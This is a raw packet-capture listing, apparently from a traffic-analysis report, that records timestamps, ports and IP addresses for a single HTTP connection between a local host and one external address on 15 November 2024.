Nov 15, 2024 10:28:31.114350080 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114360094 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114371061 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114381075 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114392996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114403009 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114413023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114422083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114423037 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.114432096 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114443064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114454985 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.114460945 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114471912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114475965 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.114483118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114491940 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.114492893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114517927 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.114546061 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114556074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114582062 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.114634991 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114646912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114658117 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.114675045 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.114701033 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.147866964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.147881031 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.147891045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.147927999 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.192373037 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.202419996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.202435970 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.202449083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.202502966 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.202526093 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.202538013 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.202548027 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.202565908 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.202589989 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.202657938 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.202668905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.202678919 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.202714920 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.234378099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234392881 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234404087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234471083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234483957 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234494925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234579086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234590054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234601021 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234620094 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.234620094 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.234632969 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.234642982 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.234673977 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234684944 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234694958 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234730005 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234738111 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.234741926 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234751940 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234770060 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.234806061 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.234844923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234857082 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234874010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234905958 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234909058 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.234919071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234929085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234940052 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.234946012 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.234967947 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.235129118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235141039 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235152960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235165119 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.235194921 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.235369921 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235382080 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235408068 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.235500097 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235511065 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235527992 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235538006 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235548973 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235560894 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.235584974 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235589981 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.235596895 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235606909 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235624075 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.235646009 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.235817909 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235829115 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235835075 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235863924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.235944986 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235964060 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235980988 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.235984087 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.235991955 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.236004114 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.236049891 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.236049891 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.236278057 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.236289024 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.236299038 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.236309052 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.236320972 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.236320972 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.236347914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.236463070 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.236502886 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.236507893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.236520052 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.236553907 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.236641884 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.236653090 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.236689091 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.237164974 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237176895 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237189054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237217903 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.237263918 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237276077 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237286091 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237304926 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.237330914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.237363100 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237374067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237390041 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237400055 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237417936 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.237433910 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.237485886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237514973 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237526894 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237569094 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.237581968 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237592936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237605095 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237622023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237627029 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.237664938 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.237803936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237818003 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237828016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237838984 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.237838984 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237848997 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237859964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237869978 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237873077 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.237881899 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.237898111 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.237916946 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.258014917 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.271224976 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.271250963 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.271261930 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.271337032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.271384001 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.271384001 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.317472935 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.325792074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.325809002 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.325820923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.325882912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.325882912 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.325895071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.325906992 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.325927019 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.325953007 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.326065063 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.326078892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.326123953 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.357671976 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.357691050 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.357713938 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.357728004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.357738972 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.357750893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.357753992 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.357927084 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.357999086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358011007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358022928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358064890 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358078003 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358088970 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358099937 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358114958 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358115911 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358141899 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358160973 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358171940 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358203888 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358223915 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358236074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358253002 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358264923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358266115 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358277082 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358297110 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358320951 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358351946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358371019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358382940 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358392954 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358408928 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358428955 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358484030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358494997 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358506918 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358546972 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358607054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358618975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358649969 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358665943 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358678102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358689070 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358700991 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358733892 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358791113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358803988 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358819962 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358855963 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358870029 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358881950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.358908892 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.358999014 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359014988 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359025955 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359035969 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.359060049 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.359075069 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359083891 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359110117 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.359180927 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359198093 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359210014 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359220982 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359231949 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359247923 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.359267950 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.359291077 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359302044 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359318972 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359328985 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.359371901 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.359594107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359605074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359616041 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.359642029 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.360187054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360197067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360207081 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360229969 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.360249996 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.360291958 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360302925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360313892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360325098 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360333920 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.360359907 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.360372066 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360402107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360413074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360434055 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.360510111 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360522032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360532999 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360549927 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.360563040 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360572100 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.360574961 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360585928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360609055 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.360611916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.360662937 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.361110926 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.361123085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.361135006 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.361145973 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.361156940 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.361181021 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.361187935 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.361200094 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.361231089 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.361299038 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.361310005 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.361320972 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.361346006 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.361361027 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.361371994 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.361393929 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.364248991 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.394709110 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.394737005 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.394750118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.394761086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.394778013 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.394854069 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.394882917 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.394882917 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.394884109 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.442323923 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.449671030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.449696064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.449707985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.449718952 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.449731112 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.449745893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.449754953 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.449758053 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.449769020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.449786901 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.449811935 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.481084108 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.481349945 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.481360912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.481373072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.481409073 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.481468916 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.481488943 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.481506109 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.481515884 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.481528044 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.481550932 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.481580973 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.481632948 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.481646061 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.481681108 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.481710911 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.481723070 CET	80	49736	150.241.95.163	192.168.2.4
